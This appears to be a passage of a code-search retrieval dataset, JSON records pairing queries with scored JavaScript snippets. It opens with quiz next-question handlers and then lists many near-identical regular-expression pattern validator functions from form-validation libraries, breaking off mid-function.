q.option3;\n op4.textContent = q.option4;\n }", "title": "" }, { "docid": "3fdccb4c4eea511f11728fb202613f1e", "score": "0.66260296", "text": "function upNextQuestion() {\n quizQ.textContent = questions[testQuestions].q;\n option1.textContent = questions[testQuestions].a[0];\n option2.textContent = questions[testQuestions].a[1];\n option3.textContent = questions[testQuestions].a[2];\n option4.textContent = questions[testQuestions].a[3];\n}", "title": "" }, { "docid": "41a79c3e2b7c02a0ab301a46b0a60875", "score": "0.66055757", "text": "async function processNextQuestion(currentQuestion, questionOrder) {\n //transfor string from appsync in array\n var questionOrderArray = JSON.parse(questionOrder);\n //find the index number of the current question in the array\n var currentQuestionIndex = questionOrderArray.findIndex(\n k => k === currentQuestion\n );\n\n //find arraylength, if array length is the same as the next number, end quiz by update screen to 3. -1 to correct that array starts at 0\n const arrayLength = questionOrderArray.length - 1;\n\n if (parseInt(currentQuestionIndex) === arrayLength) {\n const original = await DataStore.query(Quiz, adminGameCode);\n await DataStore.save(\n Quiz.copyOf(original, updated => {\n updated.view = 3;\n })\n );\n } else {\n //add +1 to current index number to find next question\n var next = parseInt(currentQuestionIndex) + 1;\n\n const original = await DataStore.query(Quiz, adminGameCode);\n\n await DataStore.save(\n Quiz.copyOf(original, updated => {\n updated.currentQuestion = questionOrderArray[next];\n updated.view = 0;\n })\n );\n setIsActive(!isActive);\n }\n }", "title": "" }, { "docid": "9d3eb4488a864fb4c6972343ad086365", "score": "0.6599621", "text": "function nextQuestion () {\n if (i === questions.length) {\n gameEnder();\n }\n else {\n questionEl.textContent = questions[i][\"title\"];\n answerOne.textContent = questions[i][\"choices\"][0];\n answerTwo.textContent = questions[i][\"choices\"][1];\n answerThree.textContent = questions[i][\"choices\"][2];\n answerFour.textContent = questions[i][\"choices\"][3];\n }\n}", "title": "" }, { "docid": "f44036af3623c32a4cba2119537ee3f0", "score": "0.6596046", "text": "function setUpNextQ(){\n nextBtn.classList.add(\"hide\");\n while(answerButtons.firstChild){\n answerButtons.removeChild(answerButtons.firstChild);\n }\n showQuestion(shuffledQuestions[questionIndex]);\n}", "title": "" }, { "docid": "2bc571ee5b659cd6e1ce3b742feb041e", "score": "0.65908545", "text": "function handleNextQuestion() {\n document\n .querySelector(\"#js-next-question-button\")\n .addEventListener(\"click\", e => {\n STATE.currentQuestion++;\n STATE.render.answerPage = false;\n if (STATE.onLastQuestion) {\n STATE.render.resultsPage = true;\n } else {\n STATE.render.questionPage = true;\n }\n render();\n });\n}", "title": "" } ]
9986bd95f115beb70c15a1ae7bba8731
Validates a regular expression pattern. Performs validation when a rule only contains a pattern property but is not declared as a string type.
[ { "docid": "22478a62f22dfd4c4cc347dccebdca6d", "score": "0.67487836", "text": "function pattern$2(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n\n rules.required(rule, value, source, errors, options);\n\n if (!isEmptyValue(value, 'string')) {\n rules.pattern(rule, value, source, errors, options);\n }\n }\n\n callback(errors);\n}", "title": "" } ]
[ { "docid": "90248f84814c708d16be413051fb1f04", "score": "0.7846779", "text": "function pattern_pattern(rule,value,source,errors,options){if(rule.pattern){if(rule.pattern instanceof RegExp){if(!rule.pattern.test(value)){errors.push(format(options.messages.pattern.mismatch,rule.fullField,value,rule.pattern));}}else if(typeof rule.pattern==='string'){var _pattern=new RegExp(rule.pattern);if(!_pattern.test(value)){errors.push(format(options.messages.pattern.mismatch,rule.fullField,value,rule.pattern));}}}}", "title": "" }, { "docid": "70061720577eb94d0daa594091ad425b", "score": "0.7465076", "text": "function pattern_pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "061bf6ba5dc344855d606aaec2468c2a", "score": "0.7410271", "text": "function pattern(rule, value, source, errors, options) {\n\t if (rule.pattern) {\n\t if (rule.pattern instanceof RegExp) {\n\t if (!rule.pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t } else if (typeof rule.pattern === 'string') {\n\t var _pattern = new RegExp(rule.pattern);\n\t if (!_pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t }\n\t}", "title": "" }, { "docid": "3d829e03f99f0615ba251ddf0a561d35", "score": "0.740648", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "3d829e03f99f0615ba251ddf0a561d35", "score": "0.740648", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "9d1c72c81a43d6f509314c1518df142c", "score": "0.73964363", "text": "function validate(pattern){\n console.log('validate');\n if (typeof pattern !== 'string'){\n throw 'pattern must be a string!';\n }\n\n var patterns = pattern.split(' ');\n var executablePattern = convertExpression(patterns);\n var executablePatterns = executablePattern.split(' ');\n validateFields(patterns, executablePatterns);\n }", "title": "" }, { "docid": "9d6d9e74dfc2f3b21ff44b8e22b70d37", "score": "0.737285", "text": "function pattern(rule, value, source, errors, options) {\n\t if (rule.pattern instanceof RegExp) {\n\t if (!rule.pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9d6d9e74dfc2f3b21ff44b8e22b70d37", "score": "0.737285", "text": "function pattern(rule, value, source, errors, options) {\n\t if (rule.pattern instanceof RegExp) {\n\t if (!rule.pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9d6d9e74dfc2f3b21ff44b8e22b70d37", "score": "0.737285", "text": "function pattern(rule, value, source, errors, options) {\n\t if (rule.pattern instanceof RegExp) {\n\t if (!rule.pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t}", "title": "" }, { "docid": "9d6d9e74dfc2f3b21ff44b8e22b70d37", "score": "0.737285", "text": "function pattern(rule, value, source, errors, options) {\n\t if (rule.pattern instanceof RegExp) {\n\t if (!rule.pattern.test(value)) {\n\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t}", "title": "" }, { "docid": "e4d0bd426ce24bd16864719117490fcd", "score": "0.73661286", "text": "function pattern_pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "e4d0bd426ce24bd16864719117490fcd", "score": "0.73661286", "text": "function pattern_pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "e4d0bd426ce24bd16864719117490fcd", "score": "0.73661286", "text": "function pattern_pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "1f141f54fc3bf9ac286e0366f8865989", "score": "0.73547024", "text": "function pattern(rule, value, source, errors, options) {\n\t\t if (rule.pattern instanceof RegExp) {\n\t\t if (!rule.pattern.test(value)) {\n\t\t errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t\t }\n\t\t }\n\t\t}", "title": "" }, { "docid": "f486fd97cef89c5307b9a32caac694ef", "score": "0.7353512", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "792969417eca3fe63215d46213e6cc15", "score": "0.73523885", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "792969417eca3fe63215d46213e6cc15", "score": "0.73523885", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(_util__WEBPACK_IMPORTED_MODULE_0__[\"format\"](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "90114392dc868cd5e7c74c134be9ca0e", "score": "0.73520976", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "90114392dc868cd5e7c74c134be9ca0e", "score": "0.73520976", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "90114392dc868cd5e7c74c134be9ca0e", "score": "0.73520976", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "37f7c0549d38afc145ade1c923d46aa3", "score": "0.73512113", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "37f7c0549d38afc145ade1c923d46aa3", "score": "0.73512113", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "c875e82f1eebf4ea875f85b920608bee", "score": "0.7343461", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"e\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "c320d63bc8c3d6ff1582749c6e0f08bd", "score": "0.7342526", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "c320d63bc8c3d6ff1582749c6e0f08bd", "score": "0.7342526", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "c320d63bc8c3d6ff1582749c6e0f08bd", "score": "0.7342526", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "c320d63bc8c3d6ff1582749c6e0f08bd", "score": "0.7342526", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(__WEBPACK_IMPORTED_MODULE_0__util__[\"d\" /* format */](options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "8b2f376f92af009dc661a26d672dc493", "score": "0.73261917", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "f1e0dd183bda0f2b0d6b7b4c9dc2a43f", "score": "0.73234487", "text": "function validator_pattern_pattern(rule,value,callback,source,options){var errors=[];var validate=rule.required||!rule.required&&source.hasOwnProperty(rule.field);if(validate){if(isEmptyValue(value,'string')&&!rule.required){return callback();}es_rule.required(rule,value,source,errors,options);if(!isEmptyValue(value,'string')){es_rule.pattern(rule,value,source,errors,options);}}callback(errors);}", "title": "" }, { "docid": "047ca4c13a3499e4c6631ea686c127e6", "score": "0.7313943", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n if (!rule.pattern.test(value)) {\n errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n if (!_pattern.test(value)) {\n errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "7fdef99d5e59a983a179670e1775c1de", "score": "0.72906923", "text": "function pattern$1(rule, value, source, errors, options) {\n\t if (rule.pattern) {\n\t if (rule.pattern instanceof RegExp) {\n\t // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n\t // flag is accidentally set to `true`, which in a validation scenario\n\t // is not necessary and the result might be misleading\n\t rule.pattern.lastIndex = 0;\n\t\n\t if (!rule.pattern.test(value)) {\n\t errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t } else if (typeof rule.pattern === 'string') {\n\t var _pattern = new RegExp(rule.pattern);\n\t\n\t if (!_pattern.test(value)) {\n\t errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n\t }\n\t }\n\t }\n\t}", "title": "" }, { "docid": "6e445c2fbbc860833782f8cd5ab56a06", "score": "0.7277778", "text": "function patternValidator(pattern) {\n if (!pattern)\n return nullValidator;\n let regex;\n let regexStr;\n if (typeof pattern === 'string') {\n regexStr = '';\n if (pattern.charAt(0) !== '^')\n regexStr += '^';\n regexStr += pattern;\n if (pattern.charAt(pattern.length - 1) !== '$')\n regexStr += '$';\n regex = new RegExp(regexStr);\n }\n else {\n regexStr = pattern.toString();\n regex = pattern;\n }\n return (control) => {\n if (isEmptyInputValue(control.value)) {\n return null; // don't validate empty values to allow optional controls\n }\n const value = control.value;\n return regex.test(value) ? null :\n { 'pattern': { 'requiredPattern': regexStr, 'actualValue': value } };\n };\n}", "title": "" }, { "docid": "6e445c2fbbc860833782f8cd5ab56a06", "score": "0.7277778", "text": "function patternValidator(pattern) {\n if (!pattern)\n return nullValidator;\n let regex;\n let regexStr;\n if (typeof pattern === 'string') {\n regexStr = '';\n if (pattern.charAt(0) !== '^')\n regexStr += '^';\n regexStr += pattern;\n if (pattern.charAt(pattern.length - 1) !== '$')\n regexStr += '$';\n regex = new RegExp(regexStr);\n }\n else {\n regexStr = pattern.toString();\n regex = pattern;\n }\n return (control) => {\n if (isEmptyInputValue(control.value)) {\n return null; // don't validate empty values to allow optional controls\n }\n const value = control.value;\n return regex.test(value) ? null :\n { 'pattern': { 'requiredPattern': regexStr, 'actualValue': value } };\n };\n}", "title": "" }, { "docid": "6e445c2fbbc860833782f8cd5ab56a06", "score": "0.7277778", "text": "function patternValidator(pattern) {\n if (!pattern)\n return nullValidator;\n let regex;\n let regexStr;\n if (typeof pattern === 'string') {\n regexStr = '';\n if (pattern.charAt(0) !== '^')\n regexStr += '^';\n regexStr += pattern;\n if (pattern.charAt(pattern.length - 1) !== '$')\n regexStr += '$';\n regex = new RegExp(regexStr);\n }\n else {\n regexStr = pattern.toString();\n regex = pattern;\n }\n return (control) => {\n if (isEmptyInputValue(control.value)) {\n return null; // don't validate empty values to allow optional controls\n }\n const value = control.value;\n return regex.test(value) ? null :\n { 'pattern': { 'requiredPattern': regexStr, 'actualValue': value } };\n };\n}", "title": "" }, { "docid": "6e445c2fbbc860833782f8cd5ab56a06", "score": "0.7277778", "text": "function patternValidator(pattern) {\n if (!pattern)\n return nullValidator;\n let regex;\n let regexStr;\n if (typeof pattern === 'string') {\n regexStr = '';\n if (pattern.charAt(0) !== '^')\n regexStr += '^';\n regexStr += pattern;\n if (pattern.charAt(pattern.length - 1) !== '$')\n regexStr += '$';\n regex = new RegExp(regexStr);\n }\n else {\n regexStr = pattern.toString();\n regex = pattern;\n }\n return (control) => {\n if (isEmptyInputValue(control.value)) {\n return null; // don't validate empty values to allow optional controls\n }\n const value = control.value;\n return regex.test(value) ? null :\n { 'pattern': { 'requiredPattern': regexStr, 'actualValue': value } };\n };\n}", "title": "" }, { "docid": "10b7e19c1d6bcc03a20bd33f1bb070fa", "score": "0.72509825", "text": "function pattern(rule, value, source, errors, options) {\n if (rule.pattern instanceof RegExp) {\n if (!rule.pattern.test(value)) {\n errors.push(util.format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n}", "title": "" }, { "docid": "aa2d660283b98350aca427028738cb0d", "score": "0.7239039", "text": "function validator_pattern_pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n es_rule.required(rule, value, source, errors, options);\n if (!isEmptyValue(value, 'string')) {\n es_rule.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "aa2d660283b98350aca427028738cb0d", "score": "0.7239039", "text": "function validator_pattern_pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n es_rule.required(rule, value, source, errors, options);\n if (!isEmptyValue(value, 'string')) {\n es_rule.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "aa2d660283b98350aca427028738cb0d", "score": "0.7239039", "text": "function validator_pattern_pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n es_rule.required(rule, value, source, errors, options);\n if (!isEmptyValue(value, 'string')) {\n es_rule.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "aa2d660283b98350aca427028738cb0d", "score": "0.7239039", "text": "function validator_pattern_pattern(rule, value, callback, source, options) {\n var errors = [];\n var validate = rule.required || !rule.required && source.hasOwnProperty(rule.field);\n if (validate) {\n if (isEmptyValue(value, 'string') && !rule.required) {\n return callback();\n }\n es_rule.required(rule, value, source, errors, options);\n if (!isEmptyValue(value, 'string')) {\n es_rule.pattern(rule, value, source, errors, options);\n }\n }\n callback(errors);\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n } else if (typeof rule.pattern === 'string') {\n var _pattern = new RegExp(rule.pattern);\n\n if (!_pattern.test(value)) {\n errors.push(format(options.messages.pattern.mismatch, rule.fullField, value, rule.pattern));\n }\n }\n }\n}", "title": "" }, { "docid": "a861ed75460096a5e65d2f499984f52f", "score": "0.72307014", "text": "function pattern$1(rule, value, source, errors, options) {\n if (rule.pattern) {\n if (rule.pattern instanceof RegExp) {\n // if a RegExp instance is passed, reset `lastIndex` in case its `global`\n // flag is accidentally set to `true`, which in a validation scenario\n // is not necessary and the result might be misleading\n rule.pattern.lastIndex = 0;\n\n if (!rule.pattern.test(value)) {\n 